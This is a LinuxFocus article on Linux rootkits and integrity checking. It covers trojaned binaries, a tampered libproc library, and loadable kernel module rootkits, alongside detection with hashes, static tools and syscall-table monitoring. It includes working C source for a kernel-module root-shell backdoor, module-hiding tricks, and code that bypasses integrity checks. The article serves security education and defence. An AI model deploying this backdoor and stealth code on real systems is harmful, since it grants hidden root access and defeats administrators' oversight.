LinuxFocus article number 263
http://linuxfocus.org

by Frédéric Raynal aka Pappy (homepage)

About the author:

Frédéric Raynal has a Ph.D in computer science after a thesis about methods for hiding information. He is the editor in chief of a French magazine called MISC dedicated to computer security. Incidentally, he is looking for a job in R&D.

Translated to English by:
Georges Tarbouriech
<georges.t(at)linuxfocus.org>

Root-kits and integrity

Abstract:

This article was first published in a Linux Magazine France special issue focusing on security. The editor, the authors and the translators kindly allowed LinuxFocus to publish every article from this special issue. Accordingly, LinuxFocus will bring them to you as soon as they are translated to English. Thanks to all the people involved in this work. This abstract will be reproduced for each article having the same origin.

This article presents the different operations a cracker can do after having succeeded in entering a machine. We will also discuss what an administrator can do to detect that the machine has been jeopardized.

Jeopardy

Let us assume that a cracker has been able to enter a system, without bothering about the method he used. We consider he has all the permissions (administrator, root...) on this machine. The whole system then becomes untrustable, even if every tool seems to say that everything is fine. The cracker cleaned up everything in the logs... as a matter of fact, he is comfortably installed in your system.

His first goal is to keep as discreet as possible to prevent the administrator from detecting his presence. Next, he will install all the tools he needs according to what he wants to do. Sure, if he wants to destroy all the data, he will not be that careful.

Obviously, the administrator cannot stay connected to his machine listening to every connection. However he has to detect an unwanted intrusion as fast as possible. The jeopardized system becomes a

launching pad for the cracker's programs (bot IRC, DDOS, ...). For instance, using a sniffer, he can get all the network packets. Many protocols do not cypher the data or the passwords (like `telnet`, `rlogin`, `pop3`, and many others). Accordingly, the more time the cracker gets, the more he can control the network the jeopardized machine belongs to.

Once his presence has been detected, another problem appears: we do not know what the cracker changed in the system. He probably jeopardized the basic commands and the diagnostic tools to hide himself. We then must be very strict to be sure not to forget anything, otherwise the system could be jeopardized once again.

The last question concerns the measures to be taken. There are two policies. Either the administrator reinstalls the whole system, or he only replaces the corrupt files. If a full install takes a long time, looking for the modified programs, while being sure of not forgetting anything, will demand great care.

Whatever the preferred method is, it is recommended to make a backup of the corrupt system to discover the way the cracker did the job. Furthermore, the machine could be involved in a much bigger attack, what could lead to legal proceedings against you. Not to backup could be considered as hiding evidences... while these could clear you.

Invisibility exists ... I have seen it !

Here, we discuss a few different methods used to become invisible on a jeopardized system while keeping maximum privileges in the exploited system.

Before getting to the heart of the matter, let us define some terminology:

- *trojan* : it is an application taking the appearance of another one. Hided behind a known feature, the program can act differently, usually to the detriment of the user. For example, it can hide system data to prevent the user from seeing current the connections.
- *backdoor* : this word is used to describe an access point to a program which is not documented. Usually, it concerns options used by developers to reach data from the application in which the backdoor has been implemented.

Once he has jeopardized a system, the cracker needs both kinds of programs. Backdoors allow him to get into the machine, including if the administrator changes every password. Trojans mostly allow him to remain unseen.

We do not care at this moment whether a program is a trojan or a backdoor. Our goal is to show the existing methods to implement them (they are rather identical) and to detect them.

Last, let us add that most of Linux distributions offer an authentication mechanism (i.e verifying *at once* the files integrity and their origin - `rpm --checksig`, for instance). It is strongly recommended to check it before any software installation on your machine. If you get a corrupt archive and install it, the cracker will have nothing else to do:(This is what happens under Windows with Back Orifice.

Binaries substitution

In Unix prehistory, it was not very difficult to detect an intrusion on a machine:

- the `last` command shows the account(s) used by the "intruder" and the place from where he connected with the corresponding dates;
- `ls` displays files and `ps` lists the programs (sniffer, password crackers...) ;
- `netstat` displays the machine's active connections;
- `ifconfig` indicates if the network card is in `promiscuous` mode, a mode that allows a sniffer to get all the network packets...

Since then, crackers have developped tools to substitute these commands. Like the Greeks had built a wooden horse to invade Troja, these programs look like something known and thus trusted by the administrator. However, these new versions conceal information related to the cracker. Since the files keep the same timestamps as others programs from the same directory and the checksums have not changed (via another trojan), the "naive" administrator is completely hoodwinked.

Linux Root-Kit

`Linux Root-Kit` (`lrk`) is a classic of its kind (even if a bit old). Developed at the beginning by Lord Somer, it is today at its fifth version. There are many others root-kits and here we will only discuss the features of this one to give you an idea about the abilities of these tools.

The substituted commands provide privileged access to the system. To prevent someone using one of these commands from noticing the changes, they are password protected (default is `satori`), and this can be configured at compile time.

- The programs hide the resources used by the cracker to the others users:
  - `ls`, `find`, `locate`, `xargs` or `du` will not display his files;
  - `ps`, `top` or `pidof` will conceal his processes;
  - `netstat` will not display the unwanted connections especially to the cracker's daemons, such as `bindshell`, `bnc` or `eggdrop`;
  - `killall` will keep his processes running;
  - `ifconfig` will not show that the network interface is in `promiscuous` mode (the "`PROMISC`" string usually appears when this is true);
  - `crontab` will not list his tasks;
  - `tcpd` will not log the connections defined in a configuration file;
  - `syslogd` same as `tcpd`.
- The backdoors allow the cracker to change his identity:
  - `chfn` opens a root shell when the root-kit password is typed as a username;
  - `chsh` opens a root shell when the root-kit password is typed as a new shell;
  - `passwd` opens a root shell when the root-kit password is typed as a password;
  - `login` allows the cracker's login as any identity when the root-kit password is typed (then disables history);

    - `su` same as `login` ;
- The daemons provide the cracker with simple remote access means:
    - `inetd` installs a root shell listening to a port. After connection, the root-kit password must be entered in the first line;
    - `rshd` executes the asked command as root if the username is the root-kit password;
    - `sshd` works like `login` but provides a remote access;
- The utilities help the cracker:
    - `fix` installs the corrupt program keeping the original timestamp and checksum;
    - `linsniffer` captures the packets, get passwords and more;
    - `sniffchk` checks that the sniffer is still working;
    - `wted` allows `wtmp` file editing;
    - `z2` deletes the unwanted entries in `wtmp`, `utmp` and `lastlog`;

This classic root-kit is outdated, since the new generation root-kits directly attack the system kernel. Furthermore, the versions of the affected programs are not used anymore.

Detecting this kind of root-kit

As soon as the security policy is strict, this kind of root-kit is easy to detect. With its hash functions, cryptography provides us with the right tool:

```
[lrk5/net-tools-1.32-alpha]# md5sum ifconfig
086394958255553f6f38684dad97869e  ifconfig
[lrk5/net-tools-1.32-alpha]# md5sum ‘which ifconfig‘
f06cf5241da897237245114045368267  /sbin/ifconfig
```

Without knowing what has been changed, it can be noticed at once that the installed `ifconfig` and the one from `lrk5` are different.

Thus, as soon as a machine installation is over, it is required to backup the sensitive files (back on "sensitive files" later) as hashes in a database, to be able to detect any alteration as fast as possible.

The database must be put on a **physically** unwritable support (floppy, not rewritable CD...). Let us assume the cracker succeeded in getting administrator privileges on the system. If the database has been put on a read-only partition, enough for the cracker to remount it read-write, to update it and to mount it back read-only. If he is a conscientious one, he will even change the timestamps. Thus, the next time you will check integrity, no difference will appear. This shows that super-user privileges do not provide enough protection for the database updating.

Next, when you update your system, you must do the same with your backup. This way, if you check the updates authenticity, you are able to detect any unwanted change.

However, checking the integrity of a system requires two conditions:

1. hashes calculated from system files must be compared to hashes which integrity can be 100% trusted, hence the need to backup the database on a read-only support;
2. the tools used to check integrity must be "clean".

That is, every system check must be done with tools coming from another system (non jeopardized).

Use of dynamic libraries

As we have seen it, becoming invisible requires the change of many items in the system. Numerous commands allow us to detect if a file exists and each of them must be changed. It is the same for the network connections or the current processes on the machine. Forgetting the later is a fatal error as far as discretion is concerned.

Nowadays, to avoid too big programs, most of the binaries use dynamic libraries. To solve the above mentioned problem, a simple solution is not to change each binary, but put the required functions in the corresponding library, instead.

Let us take the example of a cracker wishing to change a machine's uptime since he just restarted it. This information is provided by the system through different commands, such as `uptime`, `w`, `top`.

To know the libraries required by these binaries, we use the `ldd` command:

```
[pappy]# ldd ‘which uptime‘ ‘which ps‘ ‘which top‘
/usr/bin/uptime:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/bin/ps:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/usr/bin/top:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40032000)
        libc.so.6 => /lib/libc.so.6 (0x40077000)
        libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
```

Apart from `libc`, we are trying to find the `libproc.so` library. Enough to get the source code and change what we want. Here, we will use version 2.0.7, found in the `$PROCPS` directory.

The source code for the `uptime` command (in `uptime.c`) informs us that we can find the `print_uptime()` function (in `$PROCPS/proc/whattime.c`) and the `uptime(double *uptime_secs, double *idle_secs)` function (in `$PROCPS/proc/sysinfo.c`). Let us change this last according to our needs:

```
/* $PROCPS/proc/sysinfo.c */

 1:  int uptime(double *uptime_secs, double *idle_secs) {
 2:    double up=0, idle=1000;
 3:
 4:    FILE_TO_BUF(UPTIME_FILE,uptime_fd);
 5:    if (sscanf(buf, "%lf %lf", &up, &idle) < 2) {
 6:      fprintf(stderr, "bad data in " UPTIME_FILE "\n");
```

```
 7:      return 0;
 8:    }
 9:
10:  #ifdef _LIBROOTKIT_
11:    {
12:      char *term = getenv("TERM");
13:      if (term && strcmp(term, "satori"))
14:        up+=3600 * 24 * 365 * log(up);
15:    }
16:  #endif /*_LIBROOTKIT_*/
17:
18:    SET_IF_DESIRED(uptime_secs, up);
19:    SET_IF_DESIRED(idle_secs, idle);
20:
21:    return up;       /* assume never be zero seconds in practice */
22:  }
```

Adding the lines from 10 to 16 to the initial version, changes the result the function provides. If the `TERM` environment variable does not contain the "`satori`" string, then the `up` variable is proportionally incremented to the logarithm of the real uptime of the machine (with the formula used, the uptime quickly represents a few years:)

To compile our new library, we add the `-D_LIBROOTKIT_` and `-lm` options (for the `log(up);`). When we search with `ldd` the required libraries for a binary using our `uptime` function, we can see that `libm` is part of the list. Unfortunately, this is not true for the binaries installed on the system. Using our library "as is" leads to the following error:

```
[procps-2.0.7]# ldd ./uptime //compiled with the new libproc.so
        libm.so.6 => /lib/libm.so.6 (0x40025000)
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40046000)
        libc.so.6 => /lib/libc.so.6 (0x40052000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# ldd ‘which uptime‘ //cmd d’origine
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40031000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# uptime  //original command
uptime: error while loading shared libraries: /lib/libproc.so.2.0.7:
undefined symbol: log
```

To avoid compiling each binary it is enough to force the use of the static math library when creating `libproc.so`:

```
gcc -shared -Wl,-soname,libproc.so.2.0.7 -o libproc.so.2.0.7
alloc.o compare.o devname.o ksym.o output.o pwcache.o
readproc.o signals.o status.o sysinfo.o version.o
whattime.o /usr/lib/libm.a
```

Thus, the `log()` function is directly included into `libproc.so`. The modified library must keep the same dependencies as the original one, otherwise the binaries using it will not work.

```
[pappy]# uptime
  2:12pm  up 7919 days,  1:28, 2 users, load average: 0.00, 0.03, 0.00

[pappy]# w
2:12pm  up 7920 days, 22:36, 2 users, load average: 0.00, 0.03, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
```

```
raynal   tty1     -                12:01pm
  1:17m  1.02s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:17m  0.02s  0.02s  /bin/cat

[pappy]# top
2:14pm  up 8022 days, 32 min, 2 users, load average: 0.07, 0.05, 0.00
51 processes: 48 sleeping, 3 running, 0 zombie, 0 stopped
CPU states:  2.9% user,  1.1% system,  0.0% nice, 95.8% idle
Mem:  191308K av, 181984K used,   9324K free, 0K shrd, 2680K buff
Swap: 249440K av,      0K used, 249440K free           79260K cached

[pappy]# export TERM=satori
[pappy]# uptime
2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00

[pappy]# w
2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00
USER     TTY     FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
raynal   tty1     -                12:01pm
  1:20m  1.04s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:20m  0.02s  0.02s  /bin/cat

[pappy]# top
top: Unknown terminal "satori" in $TERM
```

Everything works fine. It looks like `top` uses the `TERM` environment variable to manage its display. It is better to use another variable to send the signal indicating to provide the real value.

The implementation required to detect changes in dynamic libraries is similar to the one previously mentioned. Enough to check the hash. Unfortunately, too many administrators neglect to calculate the hashes and keep focusing on usual directories (`/bin`, `/sbin`, `/usr/bin`, `/usr/sbin`, `/etc`...) while all the directories holding these libraries are as sensitives as these usual ones.

However, the interest in modifying dynamic libraries does not only lie in the possibility of changing various binaries at the same time. Some programs provided to check integrity also use such libraries. This is quite dangerous ! On a sensitive system, all the essential programs must be statically compiled, thus preventing them from being affected by changes in these libraries .

Thus, the previously used `md5sum` program is rather risky:

```
[pappy]# ldd ‘which md5sum‘
        libc.so.6 => /lib/libc.so.6 (0x40025000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
```

It dynamically calls functions from `libc` which can have been modified (check with avec `nm -D ‘which md5sum‘`). For example, when using `fopen()`, enough to check the file path. If it matches a cracked program, then it has to be redirected to the original program: the cracker should have kept it hided somewhere in the system.

This simplistic example shows the possibilities provided to fool the integrity tests. We have seen that they should be done with external tools, that is from outside the jeopardized system (cf. the section about binaries). Now, we discover they are useless if they call functions from the jeopardized system.

Right now, we can build up an emergency kit to detect the presence of the cracker:

- `ls` to find his files;
- `ps` to control the processes activity;
- `netstat` to monitor the network connections;
- `ifconfig` to know the network interfaces status.

These programs represent a minimum. Other commands are also very instructive:

- `lsof` lists all the open files on the system;
- `fuser` identifies the processes using a file.

Let us mention that they are not only used to detect the presence of a cracker, but also to diagnose system troubleshooting.

It is obvious that **every program part of the emergency kit must be statically compiled**. We have just seen that dynamic libraries can be fatal.

Linux Kernel Module (LKM) for fun and profit

Wanting to change each binary able to detect the presence of a file, wishing to control every function in every library would be impossible. Impossible, you said ? Not quite.

A new root-kit generation appeared. It can attack the kernel.

Range of a LKM

Unlimited ! As its name says, a LKM acts in the kernel space, thus being able to access and control everything.

For a cracker, a LKM allows:

- to hide files, like those created by a sniffer;
- to filter a file content (remove its IP from logs, its process numbers...);
- to get out of a jail (`chroot`);
- to conceal the system state (promiscuous mode);
- to hide processes;
- to sniff;
- to install backdoors...

The length of the list depends on the cracker’s imagination. However, like it was for the above discussed methods, an administrator can use the same tools and program his own modules to protect his sytem:

- to control modules addition and deletion;
- to check file changes;
- to prevent some users from running a program;
- to add an authentication mechanism to some actions (to set promiscuous mode for network interface...)

How to protect against LKMs ? At compile time, module support can be deactivated (answering N in `CONFIG_MODULES`) or none can be selected (only answering Y or N). This leads to a so called *monolithic* kernel.

However, even if the kernel does not have module support, it is possible to load some of them into memory (not that simple). Silvio Cesare wrote the `kinsmod` program, which allows to attack the kernel via the `/dev/kmem` device, the one managing the memory it uses (read runtime-kernel-kmem-patching.txt on his page).

To summarize module programming, let us say that everything relies on two functions with an explicit name: `init_module()` and `cleanup_module()`. They define the module behavior. But, since they are executed in the kernel space, they can access everything in the kernel memory, like system calls or symbols.

This way in !

Let us introduce a backdoor installation through a lkm. The user wishing to get a root shell will only have to run the `/etc/passwd` command. Sure, this file is not a command. However, since we reroute the `sys_execve()` system call, we redirect it to the `/bin/sh` command, taking care of giving the root privileges to this shell.

This module has been tested with different kernels: 2.2.14, 2.2.16, 2.2.19, 2.4.4. It works fine with all of them. However, with a 2.2.19smp-ow1 (multiprocessors with Openwall patch), if a shell is open, it does not provide root privileges. The kernel is something sensitive and fragile, be careful... The path of the files corresponds to the usual tree of the kernel source code.

```
/* rootshell.c */
#define MODULE
#define __KERNEL__

#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/config.h>
#include <linux/stddef.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <sys/syscall.h>
#include <linux/smp_lock.h>

#if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE
```

```
#include <linux/slab.h>
#endif

int (*old_execve)(struct pt_regs);

extern void *sys_call_table[];

#define ROOTSHELL "[rootshell] "

char magic_cmd[] = "/bin/sh";

int new_execve(struct pt_regs regs) {
  int error;
  char * filename, *new_exe = NULL;
  char hacked_cmd[] = "/etc/passwd";

  lock_kernel();
  filename = getname((char *) regs.ebx);

  printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename,
      current->uid, current->euid, current->suid, current->fsuid,
      current->gid, current->egid, current->sgid, current->fsgid);

  error = PTR_ERR(filename);
  if (IS_ERR(filename))
    goto out;

  if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) {
    printk(ROOTSHELL " Got it:)))\n");
    current->uid = current->euid = current->suid =
                      current->fsuid = 0;
    current->gid = current->egid = current->sgid =
                      current->fsgid = 0;

    cap_t(current->cap_effective) = ~0;
    cap_t(current->cap_inheritable) = ~0;
    cap_t(current->cap_permitted) = ~0;

    new_exe = magic_cmd;
  } else
    new_exe = filename;

  error = do_execve(new_exe, (char **) regs.ecx,
                    (char **) regs.edx, &regs);
  if (error == 0)
#ifdef PT_DTRACE        /* 2.2 vs. 2.4 */
    current->ptrace &= ~PT_DTRACE;
#else
  current->flags &= ~PF_DTRACE;
#endif
   putname(filename);
 out:
  unlock_kernel();
  return error;
}

int init_module(void)
{
  lock_kernel();

  printk(ROOTSHELL "Loaded:)\n");
```

```
#define REPLACE(x) old_##x = sys_call_table[__NR_##x];\
                   sys_call_table[__NR_##x] = new_##x

  REPLACE(execve);

  unlock_kernel();
  return 0;
}

void cleanup_module(void)
{
#define RESTORE(x) sys_call_table[__NR_##x] = old_##x
  RESTORE(execve);

  printk(ROOTSHELL "Unloaded:(\n");
}
```

Let us check that everything works as expected:

```
[root@charly rootshell]$ insmod rootshell.o
[root@charly rootshell]$ exit
exit
[pappy]# id
uid=500(pappy) gid=100(users) groups=100(users)
[pappy]# /etc/passwd
[root@charly rootshell]$ id
uid=0(root) gid=0(root) groups=100(users)
[root@charly rootshell]$ rmmod rootshell
[root@charly rootshell]$ exit
exit
[pappy]#
```

After this short demonstration, let us have a look at the `/var/log/kernel` file content: `syslogd` is here configured to write every message sent by the kernel (`kern.* /var/log/kernel` in `/etc/syslogd.conf`):

```
[rootshell] Loaded:)
[rootshell]  ./usr/bin/id. (500/500/500/500) (100/100/100/100)
[rootshell]  ./etc/passwd. (500/500/500/500) (100/100/100/100)
[rootshell]  Got it:)))
[rootshell]  ./usr/bin/id. (0/0/0/0) (0/0/0/0)
[rootshell]  ./sbin/rmmod. (0/0/0/0) (0/0/0/0)
[rootshell] Unloaded:(
```

Slightly changing this module, an administrator can get a very good monitoring tool. All the commands executed on the system are written into the kernel logs. The `regs.ecx` register holds `**argv` and `regs.edx` `**envp`, with the `current` structure describing the current task, we get all the needed information to know what is going on at any time.

Detection and safety

From the administrator side, the integrity test does not allow to discover this module anymore (well, not really true, since the module is a very simple one). Then, we will analyze the fingerprints potentially left

behind by such a root-kit:

- backdoors: `rootshell.o` is not invisible on the file system since it is a simplistic module. However, enough to redefine `sys_getdents()` to make this file undetectable;
- visible processes: the open shell appears in the task list, this can reveal an unwanted presence on the system. After redefining `sys_kill()` and a new `SIGINVISIBLE` signal, it is possible to hide access to marked files in `/proc` (check the `adore` lrk);
- within the module list: the `lsmod` command provides a list of the modules loaded in memory:

```
[root@charly module]$ lsmod
Module                  Size Used by
rootshell                832  0  (unused)
emu10k1                41088  0
soundcore               2384  4  [emu10k1]
```

  When a module is loaded, it is placed at the beginning of the `module_list` containing all the loaded modules and its name is added to the `/proc/modules` file. `lsmod` reads this file to find information. Removing this module from the `module_list` makes it disappear from `/proc/modules`:

```
int init_module(void) {
  [...]
  if (!module_list->next)  //this is the only module:(
    return -1;

  // This works fine because __this_module == module_list
  module_list = module_list->next;
  [...]
}
```

  Unfortunately, this prevents us from removing the module from memory later on, unless keeping its address somewhere.
- symbols in `/proc/ksyms`: this file holds the list of the accessible symbols within the kernel space:

```
[...]
e00c41ec magic_cmd      [rootshell]
e00c4060 __insmod_rootshell_S.text_L281 [rootshell]
e00c41ec __insmod_rootshell_S.data_L8   [rootshell]
e00c4180 __insmod_rootshell_S.rodata_L107       [rootshell]
[...]
```

  The `EXPORT_NO_SYMBOLS` macro, defined in `include/linux/module.h`, informs the compiler that no function or variable is accessible apart from the module itself:

```
int init_module(void) {
  [...]
  EXPORT_NO_SYMBOLS;
  [...]
}
```

  However, for 2.2.18, 2.2.19 et 2.4.x (x<=3 - I don’t know for the others) kernels, the `__insmod_*`

symbols stay visible. Removing the module from the `module_list` also deletes the symbols exported from `/proc/ksyms`.

The problems/solutions discussed here, rely on the user space commands. A "good" LKM will use all these technics to stay invisible.

There are two solutions to detect these root-kits. The first one consists in using the `/dev/kmem` device to compare this memory kernel image to what is found in `/proc`. A tool such as `kstat` allows to search in `/dev/kmem` to check the current system processes, the system call addresses... Toby Miller's article Detecting Loadable Kernel Modules (LKM) describes how use `kstat` to detect such root-kits.

Another way, consists in detecting every system call table modification attempt. The `St_Michael` module from Tim Lawless provides such a monitoring. The following information is likely to change since the module is still on the work at the time of this writing.

As we have seen in the previous example, the lkm root-kits rely on system call table modification. A first solution is to backup their address into a secondary table and to redefine the calls managing the `sys_init_module()` and `sys_delete_module()` modules. Thus, after loading each module, it is possible to check that the address matches:

```
/* Extract from St_Michael module by Tim Lawless */

asmlinkage long
sm_init_module (const char *name, struct module * mod_user)
{
  int init_module_return;
  register int i;

  init_module_return = (*orig_init_module)(name,mod_user);

  /*
     Verify that the syscall table is the same.
     If its changed then respond

     We could probably make this a function in itself, but
     why spend the extra time making a call?
  */

  for (i = 0; i < NR_syscalls; i++) {
    if ( recorded_sys_call_table[i] != sys_call_table[i] ) {
      int j;
      for ( i = 0; i < NR_syscalls; i++)
        sys_call_table[i] = recorded_sys_call_table[i];
      break;
    }
  }
  return init_module_return;
}
```

This solution protects from present lkm root-kits but it is far from being perfect. Security is an arms race (sort of), and here is a mean to bypass this protection. Instead of changing the system call address, why not change the system call itself ? This is described in Silvio Cesare stealth-syscall.txt. The attack replaces the first bytes of the system call code with the "`jump &new_syscall`" instruction (here in pseudo Assembly):

```
/* Extract from stealth_syscall.c (Linux 2.0.35)
   by Silvio Cesare */

static char new_syscall_code[7] =
        "\xbd\x00\x00\x00\x00"  /*      movl   $0,%ebp  */
        "\xff\xe5"              /*      jmp    *%ebp    */
;

int init_module(void)
{
  *(long *)&new_syscall_code[1] = (long)new_syscall;
  _memcpy(syscall_code, sys_call_table[SYSCALL_NR],
          sizeof(syscall_code));
  _memcpy(sys_call_table[SYSCALL_NR], new_syscall_code,
          sizeof(syscall_code));
  return 0;
}
```

Like we protect our binaries and libraries with integrity tests, we must do the same here. We have to keep a hash of the machine code for every system call. We work on this implementation in `St_Michael` changing the `init_module()` system call, thus allowing an integrity test to be performed after each module loading.

However, even this way, it is possible to bypass the integrity test (the examples come from mail between Tim Lawless, Mixman and myself; the source code is Mixman's work):

1. Changing a function which is not a system call: same principle as a system call. In `init_module()`, we change the first bytes of a function (`printk()` in the example) to make this function "jump" to `hacked_printk()`

   ```
   /* Extract from printk_exploit.c by Mixman */

   static unsigned char hacked = 0;

   /* hacked_printk() replaces system call.
      Next, we execute "normal" printk() for
      everything to work properly.
   */
   asmlinkage int hacked_printk(const char* fmt,...)
   {
     va_list args;
     char buf[4096];
     int i;

     if(!fmt) return 0;
     if(!hacked) {
       sys_call_table[SYS_chdir] = hacked_chdir;
       hacked = 1;
     }
     memset(buf,0,sizeof(buf));
     va_start(args,fmt);
     i = vsprintf(buf,fmt,args);
     va_end(args);
     return i;
   }
   ```

   Thus, the integrity test put into `init_module()` redefinition, confirms that no system call has been

changed at load time. However, the next time the `printk()` is called, the change is done...
To counter this, the integrity test must be extended to all kernel functions.

2. Using a timer: in `init_module()`, declaring a timer, activates the change much later than the module loading. Thus, since the integrity tests were only expected at modules (un)load time, the attack goes unnoticed:(

```
/* timer_exploit.c by Mixman */

#define TIMER_TIMEOUT  200

extern void* sys_call_table[];
int (*org_chdir)(const char*);

static timer_t timer;
static unsigned char hacked = 0;

asmlinkage int hacked_chdir(const char* path)
{
  printk("Some sort of periodic checking could be a solution...\n");
  return org_chdir(path);
}

void timer_handler(unsigned long arg)
{
  if(!hacked) {
    hacked = 1;
    org_chdir = sys_call_table[SYS_chdir];
    sys_call_table[SYS_chdir] = hacked_chdir;
  }
}

int init_module(void)
{
  printk("Adding kernel timer...\n");
  memset(&timer,0,sizeof(timer));
  init_timer(&timer);
  timer.expires = jiffies + TIMER_TIMEOUT;
  timer.function = timer_handler;
  add_timer(&timer);
  printk("Syscall sys_chdir() should be modified in a few seconds\n");
  return 0;
}

void cleanup_module(void)
{
  del_timer(&timer);
  sys_call_table[SYS_chdir] = org_chdir;
}
```

At the moment, the thought solution is to run the integrity test from time to time and not only at module (un)load time.

Conclusion

Maintaining system integrity is not that easy. Though these tests are reliable, the means of bypassing them are numerous. The only solution is to trust nothing when evaluating, particularly when an intrusion is suspected. The best is to stop the system, to start another one (a sane one) for harm evaluation.

Tools and methods discussed in this article are double-edged. They are as good for the cracker as for the administrator. As we have seen it with the `rootshell` module, which also allows to control who runs what.

When integrity tests are implemented according to a pertinent policy, the classic root-kits are easily detectable. Those based on modules represent a new challenge. Tools to counter them are on the work, like the modules themselves, since they are far from their full abilities. The kernel security worries more and more people, in such a way that Linus asked for a module in charge of security in the 2.5 kernels. This change of mind comes from the big number of available patches (Openwall, Pax, LIDS, kernelli, to mention a few of them).

Anyway, remember that a potentially jeopardized machine cannot check its integrity. You can trust neither its programs nor the information it provides.

Links

- www.packetstormsecurity.org: there you will find `adore` and `knark`, the most known lkm root-kits;
- sourceforge.net/projects/stjude: the intrusion detection St_Jude and St_Mickael modules;
- www.s0ftpj.org/en/tools.html: `kstat` to explore `/dev/kmem`;
- www.chkrootkit.org: script to detect well known root-kits;
- www.packetstormsecurity.org/docs/hack/LKM_HACKING.html: THE guide to fiddle about with the kernel (a bit old - it concerns 2.0 kernels - but so rich);
- www.big.net.au/~silvio the excellent Silvio Cesare page (a must-read)
- mail.wirex.com/mailman/listinfo/linux-security-module: the linux-security-module mailing-list.
- www.tripwire.com: tripwire is the classic in intrusion detection. Today, the company runs as a headline *Tripwire Open Source, Linux Edition* ;
- www.cs.tut.fi/~rammer/aide.html `aide` (Advanced Intrusion Detection Environment) is a small but efficient replacement for `tripwire` (completely free software).

Webpages maintained by the LinuxFocus Editor team © Frédéric Raynal aka Pappy "some rights reserved" see linuxfocus.org/license/ http://www.LinuxFocus.org	Translation information: fr --> -- : Frédéric Raynal aka Pappy (homepage) fr --> en: Georges Tarbouriech <georges.t(at)linuxfocus.org>

2005-01-14, generated by lfparser_pdf version 2.51